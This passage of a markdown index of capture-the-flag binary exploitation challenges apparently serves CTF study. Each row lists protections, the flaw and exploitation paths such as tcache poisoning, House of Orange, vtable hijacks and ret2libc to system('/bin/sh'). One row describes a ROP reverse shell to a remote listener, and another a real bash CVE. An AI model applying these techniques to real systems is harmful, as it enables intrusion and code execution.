function return to leak libc base. Second iteration repeats overflow to call `system(\"/bin/sh\")`.\u003cbr>• **Path B (Stack Pivot to BSS):** Pivot ESP into BSS buffer containing ROP chain.\u003cbr>\u003cbr>**Keywords:** `strncat` off-by-null, length counter reset, stack buffer overflow, `puts@plt`, `puts@got`, ret2libc, `system(\"/bin/sh\")` |\n| [`starbound`](starbound.md) | 200 | i386 | glibc-2.23 | Partial RELRO, No Canary, NX, No PIE | `integer-overflow`, `stack-pivoting`, `rop` | i386 glibc 2.23; game settings menu; menu option read into signed integer; negative index in jump table. | Game configuration menu reads user selection via `read()` and converts to integer with `strtol()`. Menu jump table `funcs[]` stores function pointers. The option index is signed: passing negative values (e.g. `-33`) indexes backwards out-of-bounds relative to the table into user-controlled memory (like the name buffer in BSS/stack). | • **Path A (Negative Index Stack Pivot to User ROP Chain):** Provide negative index `-33` to index into player name buffer. Name buffer contains address of a stack pivot gadget (`add esp, 0x1c; ret` or `xchg esp, eax`). Pivot stack onto user-controlled ROP payload. ROP chain calls `puts@plt(puts@got)` to leak libc, then loops to `main` to execute `system(\"/bin/sh\")`.\u003cbr>• **Path B (do_bye Format String Gadget):** Call `do_bye` gadget with controlled stack to trigger `printf` format string leak.\u003cbr>• **Path C (Direct ORW ROP):** Statically resolve or construct ROP chain without libc.\u003cbr>\u003cbr>**Keywords:** signed integer underflow, negative jump table index, `strtol()`, stack pivot (`xchg esp, eax`), `puts@plt`, `puts@got`, ret2libc |\n| [`tcache_tear`](tcache_tear.md) | 200 | x86-64 | glibc-2.27 | Full RELRO, Canary, NX, No PIE | `double-free`, `tcache-poisoning`, `arbitrary-write` | x86-64 glibc 2.27; allows 8 allocations and 8 frees; free does not check if already freed. | glibc 2.27 initial implementation of tcache lacked double-free checks (the `tcache_entry.key` check was introduced in glibc 2.29). `free()` in the binary frees user chunk pointers without clearing them or checking if already freed, allowing immediate tcache double-free. | • **Path A (Tcache Poison → Fake Unsorted Chunk in BSS → stdout Leak → __free_hook):** Allocate chunk A (size 0x50), free A twice (`free(A); free(A)`). Tcache is poisoned: write target address into A's `fd`. First target: forge a fake 0x500 chunk in BSS (set valid `prev_size`, `size = 0x501`, and forge next chunk size to satisfy chunk boundaries). Free the fake BSS chunk into unsorted bin; unsorted bin link writes `main_arena + 96` into BSS. Read BSS name buffer to leak libc base. Second target: poison tcache to overwrite `__free_hook` with `system`. Allocate chunk containing `\"/bin/sh\"`, call `free()` to get shell.\u003cbr>• **Path B (_IO_2_1_stdout_ FSOP Leak):** Poison tcache to overwrite `_IO_2_1_stdout_` flags and write buffer pointers to leak libc.\u003cbr>\u003cbr>**Keywords:** glibc 2.27 tcache, double-free, tcache poisoning, fake unsorted chunk in BSS, `main_arena` leak, `__free_hook`, `system(\"/bin/sh\")` |\n| [`babystack`](babystack.md) | 250 | x86-64 | glibc-2.23 | Full RELRO, Canary, NX, PIE | `information-leak`, `brute-force-oracle`, `stack-buffer-overflow`, `rop` | x86-64; password check uses `strncmp` with attacker length; `strcpy` into shared frame. | Password check function reads up to 127 bytes, then uses `strncmp(input, password, strlen(input))` to verify password. Because `strlen(input)` determines comparison length, passing `\\x00` (length 0) causes `strncmp` to return 0 (login succeeds immediately!). Furthermore, testing 1 byte at a time reveals whether the byte matches password or canary. Copy command uses `strcpy` to copy user buffer into stack buffer, allowing unbounded buffer overflow because source buffer can be larger than destination. | • **Path A (strncmp Byte-by-Byte Oracle + Shared Frame strcpy Overflow to ROP):** 1) Brute-force 16-byte random password byte-by-byte using `strncmp` oracle (256 attempts per byte). 2) Log in, leak stack/libc pointers left in uninitialized stack frame. 3) Brute-force 16-byte custom canary using same oracle. 4) Use `strcpy` overflow to overwrite saved RIP while preserving canary and password values, executing ROP chain (`pop rdi; ret` -> `/bin/sh` -> `system`).\u003cbr>\u003cbr>**Keywords:** `strncmp` length oracle, byte-by-byte brute force, uninitialized stack leak, `strcpy` buffer overflow, custom canary preservation, ret2libc ROP |\n| [`applestore`](applestore.md) | 300 | i386 | glibc-2.23 | Partial RELRO, Canary, NX, No PIE | `stack-pivoting`, `type-confusion`, `arbitrary-write`, `got-overwrite` | i386; checkout cart inserts stack-allocated iPhone 8 node; delete item unlinks node. | Shopping cart application maintains items in a doubly linked list (`struct item { char *name; int price; struct item *next; struct item *prev; }`). Checkout option offers special \"iPhone 8\" item ($7174) if cart total matches. The iPhone 8 item struct is allocated on the local stack frame of `checkout()`, NOT on the heap! When `checkout()` returns, this stack node remains linked in the global heap cart list. Deleting the item calls an unsafe doubly-linked list unlink: `node->next->prev = node->prev; node->prev->next = node->next`. | • **Path A (Stack Node Unlink + EBP Pivot to GOT Hijack):** Use `cart` command to print items; uninitialized pointers in stack item leak stack and libc addresses. Select `delete` on the stack item: control its `next` and `prev` pointers to trigger an arbitrary 4-byte write (`prev+12 = next; next+8 = prev`). Overwrite saved EBP of `delete()` with stack buffer containing fake stack frame. When `delete()` executes `leave; ret`, EBP pivots to user stack buffer, redirecting execution to `read@plt` or `my_read` to overwrite `atoi@GOT` with `system`, then enter `\"/bin/sh\"`.\u003cbr>• **Path B (Direct GOT Overwrite via Unlink):** Craft `next` and `prev` to write function pointer into GOT directly.\u003cbr>\u003cbr>**Keywords:** stack node in heap linked list, unsafe unlink primitive, stack leak, libc leak, EBP pivot (`leave; ret`), `atoi@GOT`, `system(\"/bin/sh\")` |\n| [`death_note`](death_note.md) | 300 | i386 | static | Partial RELRO, Canary, NX, No PIE | `out-of-bounds-write`, `alpha-shellcode`, `got-overwrite` | Static 32-bit ELF; note contents restricted to printable ASCII (0x20-0x7e); negative index. | Note manager stores notes in array `notes[10]`. In `add_note` and `delete_note`, note index is signed and lacks lower-bound check: negative index (e.g. `-19`) accesses Global Offset Table (`GOT`). Content filter permits ONLY printable ASCII characters (`0x20 \u003c= byte \u003c= 0x7e`). Heap is mapped with `READ_IMPLIES_EXEC` (RWX heap). | • **Path A (Negative Index GOT Overwrite + Printable Self-Modifying Shellcode):** Negative index writes note heap address into `free@GOT` or `puts@GOT`. Note content must be 100% printable ASCII. Use printable instructions (`push`, `pop`, `xor`, `sub`) to construct registers. To generate non-printable `int 0x80` (`\\xcd\\x80`), use printable `xor [ecx+offset], reg` or `sub [ecx+offset], reg` arithmetic against printable memory bytes to dynamically self-modify code. Calling `delete_note` executes `free@GOT`, jumping to printable shellcode which unpacks `int 0x80` and invokes `execve(\"/bin/sh\", 0, 0)`.\u003cbr>\u003cbr>**Keywords:** negative array index, GOT overwrite, printable ASCII shellcode, self-modifying code, `READ_IMPLIES_EXEC`, `xor` arithmetic decoding, `int 0x80` |\n| [`dubblesort`](dubblesort.md) | 300 | i386 | glibc-2.23 | Full RELRO, Canary, NX, PIE | `canary-bypass`, `stack-buffer-overflow`, `ret2libc` | i386 glibc 2.23; bubble sorts integer array; `scanf(\"%u\")` in loop; stack canary present. | Reads user name into stack buffer without NUL-terminator, leaking libc via `printf`. Next, asks how many numbers to sort and reads integers into stack array using `scanf(\"%u\", &arr[i])`. Canary is present. Vulnerability: `scanf(\"%u\")` fails when reading non-digit characters (like `+` or `-`), leaving the array slot unmodified without advancing or crashing. | • **Path A (scanf Non-Numeric Canary Skip + Bubble Sort ret2libc):** Read name to leak libc base from uninitialized stack memory. Specify 35 numbers to sort (overwriting stack up to return address). For slots 0–23: input numbers smaller than canary. For slot 24 (canary location): send `+` or `-`: `scanf` skips writing, leaving the canary completely intact! For slots 25–34: send libc addresses (`system`, dummy return, `/bin/sh`). Bubble sort arranges numbers in non-decreasing order; as long as input numbers \u003c= canary \u003c= libc addresses, array order is preserved and return address executes `system(\"/bin/sh\")`.\u003cbr>\u003cbr>**Keywords:** uninitialized stack leak, `scanf(\"%u\")` skip trick, canary bypass without overwrite, bubble sort payload ordering, ret2libc, Full RELRO |\n| [`kidding`](kidding.md) | 300 | i386 | static | Partial RELRO, No Canary, NX, No PIE | `stack-buffer-overflow`, `rop`, `seccomp-bypass`, `reverse-shell` | Static 32-bit ELF; stdin/stdout/stderr closed (`close(0)`, `close(1)`, `close(2)`); stack overflow. | Binary calls `close(0)`, `close(1)`, `close(2)` (closing stdin, stdout, and stderr), then reads input into stack buffer via `sys_read(0, buf, 0x100)`. Stack buffer overflow directly overwrites return address. | • **Path A (ROP Reverse Shell via sys_socketcall):** Construct static ROP chain using `int 0x80` gadgets to invoke `sys_socketcall`: create AF_INET socket (`socket(AF_INET, SOCK_STREAM, 0)` -> fd 0), connect to remote listener IP/port (`connect(0, &sockaddr, 16)`), then `dup2(0, 0)`, `dup2(0, 1)`, `dup2(0, 2)` and `execve(\"/bin/sh\", 0, 0)`.\u003cbr>• **Path B (_dl_make_stack_executable + Reverse Shellcode):** Call internal libc `_dl_make_stack_executable` or `mprotect` to make stack executable, jump to reverse shellcode.\u003cbr>\u003cbr>**Keywords:** closed standard streams (`close(0/1/2)`), static ROP, `sys_socketcall`, reverse shell connect-back, `_dl_make_stack_executable`, `mprotect`, `int 0x80` |\n| [`mno2`](mno2.md) | 300 | i386 | static | Partial RELRO, No Canary, NX, No PIE | `alpha-shellcode`, `seccomp-bypass` | Static 32-bit ELF; shellcode into fixed RWX BSS; alphanumeric and seccomp filters. | Reads shellcode into fixed RWX BSS buffer (`0x0804a060`). Content filter enforces strict alphanumeric ASCII check (`isupper() || islower() || isdigit()`). Seccomp sandbox allows only `open`, `read`, `write`, `exit`. | • **Path A (Alphanumeric Self-Modifying ORW Shellcode):** Use alphanumeric instructions (`push`, `pop`, `xor`, `sub`, `inc`, `dec`) to build register values. Dynamically patch memory to create `int 0x80` instructions. Execute ORW chain: `open(\"/home/mno2/flag\", 0)` -> `read(fd, bss, 0x50)` -> `write(1, bss, 0x50)`.\u003cbr>\u003cbr>**Keywords:** alphanumeric shellcode, seccomp sandbox, self-modifying code, RWX BSS, `int 0x80` memory patching, open-read-write |\n| [`spirited_away`](spirited_away.md) | 300 | i386 | glibc-2.23 | Partial RELRO, Canary, NX, No PIE | `house-of-spirit`, `stack-buffer-overflow`, `ret2libc` | i386 glibc 2.23; feedback survey; `sprintf` length truncation overwriting name pointer. | Feedback survey reads `name`, `age`, `reason`, and `comment`. V1: `sprintf(buf, \"%d %s %s...\", ...)` overflow corrupts adjacent `name_comment_len` variable when `cnt` reaches 100, expanding allowable comment length to 0x6e. V2: `printf(\"%s\", reason)` leaks stack address (`saved_ebp`) and libc pointer (`_IO_2_1_stdout_`). V3: Local pointer `name_ptr` on stack holds `malloc(0x3c)` buffer; comment overflow overwrites `name_ptr`. | • **Path A (House of Spirit on Stack Fake Chunk → ret2libc):** Iteration 1: Leak stack (`saved_ebp`) and libc (`_IO_2_1_stdout_`) via `reason` format print. Iterations 2–100: Send empty comments until loop counter increments `cnt` to 100, changing `name_comment_len` to 0x6e. Iteration 101: Forge a fake 0x40 fastbin chunk on stack within `reason` buffer; use oversized comment read to overwrite `name_ptr` with address of fake stack chunk. Program calls `free(name_ptr)`, inserting stack chunk into fastbin list! Next iteration `malloc(0x3c)` returns the stack fake chunk; input overwrites saved return address with `system(\"/bin/sh\")`.\u003cbr>\u003cbr>**Keywords:** `sprintf` length corruption, House of Spirit, fake fastbin chunk on stack, `name_ptr` overwrite, `_IO_2_1_stdout_` leak, ret2libc |\n| [`alive_note`](alive_note.md) | 350 | i386 | glibc-2.23 | Partial RELRO, Canary, NX disabled, No PIE | `heap-buffer-overflow`, `alpha-shellcode`, `got-overwrite` | i386; notes limited to alphanumeric ASCII; negative index in note array reaching GOT. | Stores notes on heap (mapped RWX under Linux 32-bit). Only allows 8 bytes of data per note, and content must be strictly alphanumeric ASCII. Index check allows negative numbers, enabling writes relative to GOT. | • **Path A (Chained 3-byte Alphanumeric Jump Shellcode to Read Stager):** Negative index writes note address into `free@GOT`. Because each note only holds 8 bytes (and 4 bytes are chunk metadata), each note stores a 3-byte alphanumeric payload + a 2-byte short jump (`\\x75\\xXX` or `push reg; pop reg`) jumping to the next note chunk on the heap. Chain multiple note chunks together to form a stager that patches `int 0x80` and calls `read(0, esp, 0x100)` to execute unconstrained shellcode.\u003cbr>• **Path B (popad Frame Construction):** Use `popad` to load registers from memory.\u003cbr>\u003cbr>**Keywords:** negative index GOT overwrite, 8-byte notes, alphanumeric shellcode, jump chaining across heap chunks, `free@GOT`, RWX heap, `read` stager |\n| [`break_out`](break_out.md) | 350 | x86-64 | glibc-2.23 | Full RELRO, Canary, NX, PIE | `use-after-free`, `information-leak`, `fastbin-dup` | x86-64 glibc 2.23; prisoner note system; `punish` frees note but leaves pointer/size. | Prisoner cell note application. `punish` command frees the prisoner note chunk, but fails to clear `prisoner->note_ptr` or `prisoner->note_size`, causing Use-After-Free (UAF). Additionally, prisoner structs form a linked list where `next` pointers can be manipulated. | • **Path A (UAF Heap/Libc Leak + Fastbin Dup to __malloc_hook):** Allocate notes. Call `punish` to free note into fastbin/unsorted bin. Call `list` to print note content, leaking heap and libc base. Allocate reallocated chunk overlapping prisoner struct, corrupting fastbin `fd` pointer to point near `__malloc_hook` (using `0x7f` size field). Allocate twice to receive chunk over `__malloc_hook`, overwrite with one_gadget.\u003cbr>• **Path B (/proc/self/maps Leak + FSOP):** Read `/proc/self/maps` whitelist to leak bases, trigger FSOP on stdout.\u003cbr>\u003cbr>**Keywords:** Use-After-Free, dangling pointer, fastbin duplication, `__malloc_hook` overwrite, one_gadget, `/proc/self/maps` leak |\n| [`caov`](caov.md) | 350 | x86-64 | glibc-2.23 | Full RELRO, No Canary, NX, No PIE | `use-after-free`, `type-confusion`, `fastbin-dup` | x86-64 C++ glibc 2.23; `Data` class `operator=` returns object by value instead of reference. | C++ key-value database. Class `Data` implements copy assignment operator `Data& operator=(Data rhs)` with parameter passed by value (or returning by value) instead of by reference (`const Data&`). When assignment executes, a temporary object is constructed; upon returning, the temporary's destructor runs and `free()`s the live heap buffer, causing a double-free / UAF. | • **Path A (By-Value Assignment Temporary Destructor Double Free → Fastbin Dup to Fake Vtable):** Trigger copy assignment to free active `Data.value` buffer. Reallocate to leak heap and libc pointers. Exploit double-free to perform fastbin duplication into BSS `Data` object memory. Overwrite object virtual method table pointer to point to fake vtable containing `system`, trigger virtual method call with `\"/bin/sh\"` argument.\u003cbr>• **Path B (Stack-Reuse / Uninitialized Destructor via set_name):** Exploit uninitialized stack memory to corrupt object pointers.\u003cbr>\u003cbr>**Keywords:** C++ `operator=`, temporary object destructor, double free, fastbin duplication, fake vtable hijack, BSS object corruption |\n| [`heap_paradise`](heap_paradise.md) | 350 | x86-64 | glibc-2.23 | Full RELRO, Canary, NX, PIE | `off-by-null`, `fastbin-dup`, `io-file-exploit` | x86-64 glibc 2.23; allocations up to 0x78 (fastbin only); no view/show function; 1-byte null overflow. | Fastbin-only heap manager (allocates up to size 0x78). Has `allocate` and `free`, but NO `show`/`view` function. `allocate` allows single-byte off-by-null overflow into adjacent chunk's size field. | • **Path A (Off-by-Null Fastbin Consolidation + stdout FSOP Leak + __malloc_hook):** Allocate chunks A, B, C. Free A. Allocate chunk before B with off-by-null to shrink B's size header or clear prev_inuse. Trigger fastbin overlap so chunk C is freed while still referenced. Overwrite fastbin `fd` with 2-byte partial overwrite pointing to `_IO_2_1_stdout_` (targeting `\\x25` or `0x7f` fake fastbin size). Allocate over stdout, overwrite `_IO_write_base` low byte to leak libc. Poison fastbin to allocate over `__malloc_hook`, write one_gadget.\u003cbr>\u003cbr>**Keywords:** glibc 2.23, no-leak heap challenge, off-by-null, 2-byte partial overwrite, `_IO_2_1_stdout_` FSOP leak, fastbin dup, `__malloc_hook`, one_gadget |\n| [`re_alloc_revenge`](re_alloc_revenge.md) | 350 | x86-64 | glibc-2.29 | Full RELRO, Canary, NX, PIE | `use-after-free`, `double-free`, `tcache-poisoning`, `io-file-exploit` | x86-64 glibc 2.29 Full RELRO; only two allocation slots; `realloc(ptr, 0)` bug retained. | Hardened version of `re_alloc` with Full RELRO and PIE enabled, retaining `realloc(ptr, 0)` UAF defect with only 2 allocation slots. | • **Path A (Tcache Poisoning → stdout Partial Overwrite → __free_hook):** Use `realloc(ptr, 0)` to free chunks into tcache without clearing pointers. Manipulate tcache count and forge large chunk size (e.g. 0x420) to bypass tcache into unsorted bin. Partial overwrite unsorted bin `fd` (2 bytes) to point to `_IO_2_1_stdout_`. Modify stdout buffer pointers to trigger libc leak upon next output. Poison tcache to overwrite `__free_hook` with one_gadget or `system`.\u003cbr>• **Path B (Tcache perthread_struct Poisoning):** Overwrite tcache control structures directly.\u003cbr>\u003cbr>**Keywords:** glibc 2.29, Full RELRO, PIE, `realloc(ptr, 0)` UAF, unsorted bin placement, `_IO_2_1_stdout_` partial overwrite, `__free_hook`, one_gadget |\n| [`secret_garden`](secret_garden.md) | 350 | x86-64 | glibc-2.23 | Full RELRO, Canary, NX, PIE | `double-free`, `fastbin-dup`, `one-gadget` | x86-64 glibc 2.23; flower management; `remove` frees flower name without clearing pointer. | Flower garden management. `remove_flower` frees flower name buffer (`free(flower->name)`), but sets flag `flower->deleted = 1` without clearing `flower->name`. Calling `remove_flower` again on same index checks `deleted`, but creating/cleaning allows double-free on name chunk into fastbin list. | • **Path A (Unsorted Bin Leak + Fastbin Dup to __malloc_hook):** Allocate 2 large flowers, free first into unsorted bin; printing flower name leaks `main_arena` libc address. Allocate two 0x70 fastbin chunks, perform double free (`free(A); free(B); free(A)`). Allocate to write fake chunk address `__malloc_hook - 0x23` (using `0x7f` size field). Allocate chunks from fastbin until receiving chunk over `__malloc_hook`; overwrite `__malloc_hook` with one_gadget, trigger `malloc()` to spawn shell.\u003cbr>• **Path B (Unsorted Bin Attack to global_max_fast):** Overwrite `global_max_fast` to turn all chunks into fastbins.\u003cbr>\u003cbr>**Keywords:** fastbin double-free, unsorted bin leak, fastbin dup, `__malloc_hook - 0x23`, one_gadget, `global_max_fast` |\n| [`ghost_party`](ghost_party.md) | 400 | x86-64 | glibc-2.23 | Full RELRO, Canary, NX, PIE | `type-confusion`, `use-after-free`, `vtable-hijack` | x86-64 C++ glibc 2.23; 8 derived classes of varying sizes; slot array reuse. | C++ game party manager with 8 derived classes (`Vampire`, `Alan`, `Devil`, `Zombie`, `Werewolf`, etc.) of varying sizes. V1: `Vampire` class is missing a copy constructor, causing shallow pointer copy and double-free / UAF. V2: Type confusion: program stores polymorphic objects in a fixed array and allows reusing freed slots with different derived classes without checking object type tags. | • **Path A (Derived Class Type Confusion + Vtable Hijack to system):** Trigger Vampire shallow copy double free to leak heap and libc pointers. Reallocate a different derived class (e.g. `Werewolf`) into the freed slot of another class. The mismatched struct offsets cause function pointer / vtable pointer fields to overlap user string data. Overwrite virtual table pointer with address of fake vtable in heap/BSS pointing to `system`, trigger virtual method call with `\"/bin/sh\"` string.\u003cbr>• **Path B (Alan Missing Destructor UAF):** Exploit `lightsaber` pointer UAF in `Alan`.\u003cbr>\u003cbr>**Keywords:** C++ polymorphic classes, missing copy constructor, derived class type confusion, fake vtable, virtual method table hijack, `system(\"/bin/sh\")` |\n| [`printable`](printable.md) | 400 | x86-64 | glibc-2.23 | Full RELRO, No Canary, NX, No PIE | `format-string`, `fini-array-overwrite`, `stack-pivoting` | x86-64 glibc 2.23; single `printf(buf)` call; stdout is closed (`close(1)`); immediate exit. | Program reads format string into buffer, calls `printf(buf)`, and exits immediately. Standard output is closed (`close(1)`). | • **Path A (Blind Format String on stderr + .fini_array Loop + Stack Pivot ROP):** 1) Target `stderr` (which remains open, fd 2) using format string `%*c%n` writes. 2) Overwrite `_dl_fini` destructor or `.fini_array` entries to prevent immediate exit and re-execute `main`. 3) Overwrite `stdout` file descriptor or redirect `stderr` to achieve output leak. 4) Pivot stack to BSS and execute ROP chain to call `execve(\"/bin/sh\", 0, 0)`.\u003cbr>• **Path B (Sequential Format String Retargeting Stack):** Loop through stack pointer chains without positional specifiers.\u003cbr>\u003cbr>**Keywords:** blind format string, closed stdout (`close(1)`), `stderr` exploitation, `.fini_array` loop, `_dl_fini` hijack, stack pivot, ROP |\n| [`secret_of_my_heart`](secret_of_my_heart.md) | 400 | x86-64 | glibc-2.23 | Full RELRO, Canary, NX, PIE | `off-by-null`, `heap-consolidation`, `fastbin-dup` | x86-64 glibc 2.23; secret note creation; reads `size` bytes then appends null byte. | Secret note manager allows adding, showing, and deleting notes. In `add_secret`, `read_input` reads `size` bytes and appends a single null byte at `buf[size]`: this is a classic off-by-null (poison null byte) vulnerability overwriting the adjacent chunk's `prev_inuse` bit and the low byte of `prev_size`. | • **Path A (Poison Null Byte Backward Heap Consolidation → Chunk Overlap → __malloc_hook):** Allocate chunk A (0x18), chunk B (0x100), chunk C (0xf0). Forge fake `prev_size` inside B. Free B. Write into A with off-by-null to clear C's `prev_inuse` bit and point `prev_size` to fake chunk. Free C: allocator triggers backward consolidation of C across live chunk B into fake chunk in B! Allocate chunk from consolidated unsorted bin to overlap active chunk. Leak libc via unsorted bin pointer. Perform fastbin duplication on overlapped chunk to allocate over `__malloc_hook`, overwrite with one_gadget.\u003cbr>• **Path B (House of Orange / FSOP):** Corrupt `_IO_list_all` directly.\u003cbr>\u003cbr>**Keywords:** off-by-null, poison null byte, backward heap consolidation, `prev_inuse`, `prev_size`, chunk overlap, fastbin dup, `__malloc_hook`, one_gadget |\n| [`seethefile`](seethefile.md) | 400 | i386 | glibc-2.23 | Partial RELRO, Canary, NX, No PIE | `io-file-exploit`, `vtable-hijack`, `arbitrary-write` | i386 glibc 2.23; file viewing utility; uses `fopen`, `fread`, `fclose`; Partial RELRO. | File viewing utility wraps `fopen`, `fread`, `fclose`. Reading `/proc/self/maps` reveals memory mappings (libc base, heap base, stack). BSS buffer overflow in exit routine allows overwriting global `FILE *fp` pointer with arbitrary address. | • **Path A (/proc/self/maps Leak + BSS Fake _IO_FILE vtable Hijack on fclose):** Read `/proc/self/maps` via file viewer to leak libc base address. In exit command, overflow BSS buffer to overwrite global file pointer `fp` to point to a fake `_IO_FILE` structure constructed in BSS (`0x0804b280`). In the fake FILE struct, point `vtable` pointer to a fake vtable where `__finish` or `__close` points to `system`. When `fclose(fp)` executes, it calls `fp->vtable->__finish(fp)`, invoking `system(\"/bin/sh\")`.\u003cbr>• **Path B (Redirect __close instead of __finish):** Alternative FILE vtable slot targeting.\u003cbr>\u003cbr>**Keywords:** `/proc/self/maps` leak, `FILE *` pointer overwrite, fake `_IO_FILE`, `_IO_file_jumps`, `fclose()` vtable hijack, `system(\"/bin/sh\")` |\n| [`wannaheap`](wannaheap.md) | 400 | x86-64 | glibc-2.24 | Full RELRO, Canary, NX, PIE | `off-by-null`, `heap-consolidation`, `arbitrary-write` | x86-64 glibc 2.24; binary treap implementation; off-by-null byte in key insertion; Full RELRO. | Binary treap implementation in glibc 2.24. Off-by-null byte during key insertion allows clearing `prev_inuse` bit of adjacent heap chunks. glibc 2.24 introduced vtable validation on `_IO_FILE` jump tables. | • **Path A (Off-by-Null Treap Consolidation + glibc 2.24 _IO_str_jumps FSOP / setcontext):** Exploit off-by-null to trigger backward consolidation across active treap nodes, gaining arbitrary write primitive. Bypass glibc 2.24 vtable validation by targeting `_IO_str_jumps` (valid libc vtable) or overwriting `__free_hook` / `_dl_open_hook`. Use `setcontext+53` gadget to pivot RSP into an open-read-write (ORW) ROP chain to extract the flag under seccomp.\u003cbr>• **Path B (_dl_open_hook via Unsorted Bin Attack):** Overwrite dynamic linker hooks.\u003cbr>\u003cbr>**Keywords:** glibc 2.24, binary treap, off-by-null, backward consolidation, `_IO_str_jumps` vtable bypass, `_dl_open_hook`, `setcontext+53`, ORW ROP |\n| [`babyallocator`](babyallocator.md) | 500 | x86-64 | glibc-2.23 | Full RELRO, Canary, NX, No PIE | `stack-exhaustion`, `heap-overlap`, `arbitrary-write` | x86-64 `-fsplit-stack` binary; recursion and `alloca`; `scanf` parsing. | Program is compiled with `-fsplit-stack` (GCC split stacks). Deep recursion uses `alloca()` to allocate dynamic stack frames. In split-stack binaries, when stack segment limit is exceeded, `__morestack` allocates a new stack segment via `mmap`. Memory allocation mismatch between split-stack management and `scanf` input buffers allows stack segment to overlap heap buffers. | • **Path A (Split-Stack Segment Heap Overlap → TLS Destructor / Return Overwrite):** Exhaust split-stack segments through controlled recursive allocations so dynamic stack frame overlaps mmapped heap memory. Modify saved return address or hijack TLS destructors (`__call_tls_dtors`) to execute ROP chain or stdout FSOP.\u003cbr>• **Path B (Stack-to-Heap Overwrite on _IO_2_1_stdin_):** Corrupt stdin FILE structure pointers.\u003cbr>\u003cbr>**Keywords:** `-fsplit-stack`, split-stack segment exhaustion, `alloca()`, `__morestack`, heap-stack overlap, TLS destructor hijack, ROP |\n| [`bash_revenge`](bash_revenge.md) | 500 | x86-64 | glibc-2.23 | Full RELRO, Canary, NX, PIE | `logic-flaw`, `file-descriptor-leak`, `command-injection` | Chroot sandbox with only custom bash binary; no external tools or `/dev/tcp`; flag on localhost:1337. | Chroot-jailed bash 4.3.0 without tools, `/dev/tcp`, or filesystem writes. Flag at `/flag` is root 400; root xinetd on `127.0.0.1:1337`. V1: CVE-2016-9401 in `popd +-N` out-of-range negative index executes `free(*(void**)(8*N))` on uninitialized pushd list, allowing arbitrary free of fixed BSS memory. V2: `localbuf[128]` at `0x6b7c40` holds raw input with NUL bytes. V3: Custom bash allocator (`union mhead`, magic `0x5555`). | • **Path A (localbuf Fake Chunk → SHELL_VAR Reclaim → Raw Socket Shellcode):** Forge valid bash allocator chunk in `localbuf[128]`. Free it via `popd +-(offset/8)`. Assign variables (`A=B`) to reclaim forged chunk as `SHELL_VAR` struct (`0x30`). Overwrite `SHELL_VAR.value` with `read@got` and read `$VAR` to leak libc. Overwrite `dynamic_value` with `setcontext+53` or `gets`. Trigger variable evaluation to pivot execution into ROP/shellcode that connects raw socket to `127.0.0.1:1337` and reads the flag.\u003cbr>• **Path B (Stdout Buffer Fake Chunk):** Forge chunk in stdout buffer via `printf` / `echo -ne`.\u003cbr>• **Path C (Bash Array / JOB Structure Hijack):** Reclaim as background JOB structure for `j_cleanup` RIP hijack.\u003cbr>\u003cbr>**Keywords:** `CVE-2016-9401`, `popd`, custom bash malloc, `localbuf` (`0x6b7c40`), `SHELL_VAR`, `setcontext+53`, raw socket shellcode, chroot escape |\n| [`bookwriter`](bookwriter.md) | 500 | x86-64 | glibc-2.23 | Full RELRO, Canary, NX, No PIE | `out-of-bounds-write`, `information-leak`, `house-of-orange`, `io-file-exploit` | x86-64 glibc 2.23; book editor; no `free()` exists; `strlen` used for edit size. | Book editor. V1: `edit_page` computes edit length via `strlen(page[idx])`, allowing writes past original allocation if string was expanded. V2: Author name read does not NUL-terminate, leaking heap pointer. V3: No `free()` function exists anywhere in the binary. | • **Path A (House of Orange → _IO_flush_all_lockp FSOP):** 1) Leak heap address via author name print. 2) Use `edit` length overflow to corrupt top chunk size header (e.g. set to `0xfa1`, page-aligned with prev_inuse set). 3) Allocate chunk larger than `0xfa0`: `sysmalloc` fails top chunk extension, freeing old top chunk into unsorted bin! 4) Allocate from unsorted bin, leaking `main_arena` libc pointer. 5) Forge fake `_IO_FILE` structure inside unsorted chunk: set `_mode \u003c= 0`, `_IO_write_ptr > _IO_write_base`, forge fake vtable with `__overflow = system`, set file name/start to `\"/bin/sh\"`. 6) Trigger `malloc()` to abort, executing `_IO_flush_all_lockp` which calls `vtable->__overflow(fp)` -> `system(\"/bin/sh\")`.\u003cbr>• **Path B (Unsorted Bin Attack to _IO_list_all):** Classic unsorted bin attack targeting `_IO_list_all`.\u003cbr>\u003cbr>**Keywords:** House of Orange, top chunk size corruption, `sysmalloc` abort, unsorted bin leak, fake `_IO_FILE`, `_IO_flush_all_lockp`, vtable hijack, `system(\"/bin/sh\")` |\n| [`bounty_program_a`](bounty_program_a.md) | 500 | x86-64 | glibc-2.27 | Full RELRO, Canary, NX, PIE | `heap-buffer-overflow`, `tcache-poisoning`, `arbitrary-write` | x86-64 glibc 2.27; report comment parsing calls `calloc(1, -1)` on error; strtok state kept. | Bug bounty report manager under glibc 2.27. In `add_type`, allocating invalid size calls `calloc(1, -1)` which returns NULL on integer overflow, but the pointer error check fails to clear state, leaving a dangling pointer. Furthermore, `strtok(NULL, ...)` tokenizer state persists across commands, writing NUL bytes into heap chunk headers. | • **Path A (calloc(-1) UAF + strtok NUL Overwrite → Tcache Poisoning to __free_hook):** Exploit dangling pointer from failed allocation and `strtok` NUL injection to corrupt heap chunk boundaries and overlap active chunks. Leak libc via unsorted bin. Corrupt tcache `next` pointer to point to `__free_hook`, allocate chunk over `__free_hook`, write `system` or `one_gadget`, call `free()` to execute shell.\u003cbr>• **Path B (MD5 Contact Oracle):** Leak heap pointers using contact validation oracle.\u003cbr>\u003cbr>**Keywords:** glibc 2.27, `calloc(1, -1)` integer overflow, `strtok` state persistence, heap chunk overlap, tcache poisoning, `__free_hook`, `system` |\n| [`bounty_program_b`](bounty_program_b.md) | 500 | x86-64 | glibc-2.27 | Full RELRO, Canary, NX, PIE | `heap-buffer-overflow`, `unsorted-bin-attack`, `tcache-poisoning` | Hardened glibc 2.27; failed `calloc(1, -1)` + delimiter bug under FORTIFY_SOURCE. | Hardened successor to `bounty_program_a` compiled with `FORTIFY_SOURCE`. Fixes straightforward leaks while retaining `calloc(1, -1)` and `strtok` state retention defects. | • **Path A (Hardened Heap Overlap + Unsorted Bin Attack to __free_hook):** Construct complex heap layout to survive FORTIFY_SOURCE checks. Overlap heap chunks, perform unsorted bin attack to leak libc and corrupt allocator metadata, poison tcache to allocate over `__free_hook` and execute shell / ORW payload.\u003cbr>• **Path B (Fake Report Struct Reuse):** Reallocate fake report headers to bypass field assertions.\u003cbr>\u003cbr>**Keywords:** glibc 2.27, FORTIFY_SOURCE, `calloc(1, -1)`, `strtok` delimiter corruption, unsorted bin attack, tcache poisoning, `__free_hook` |\n| 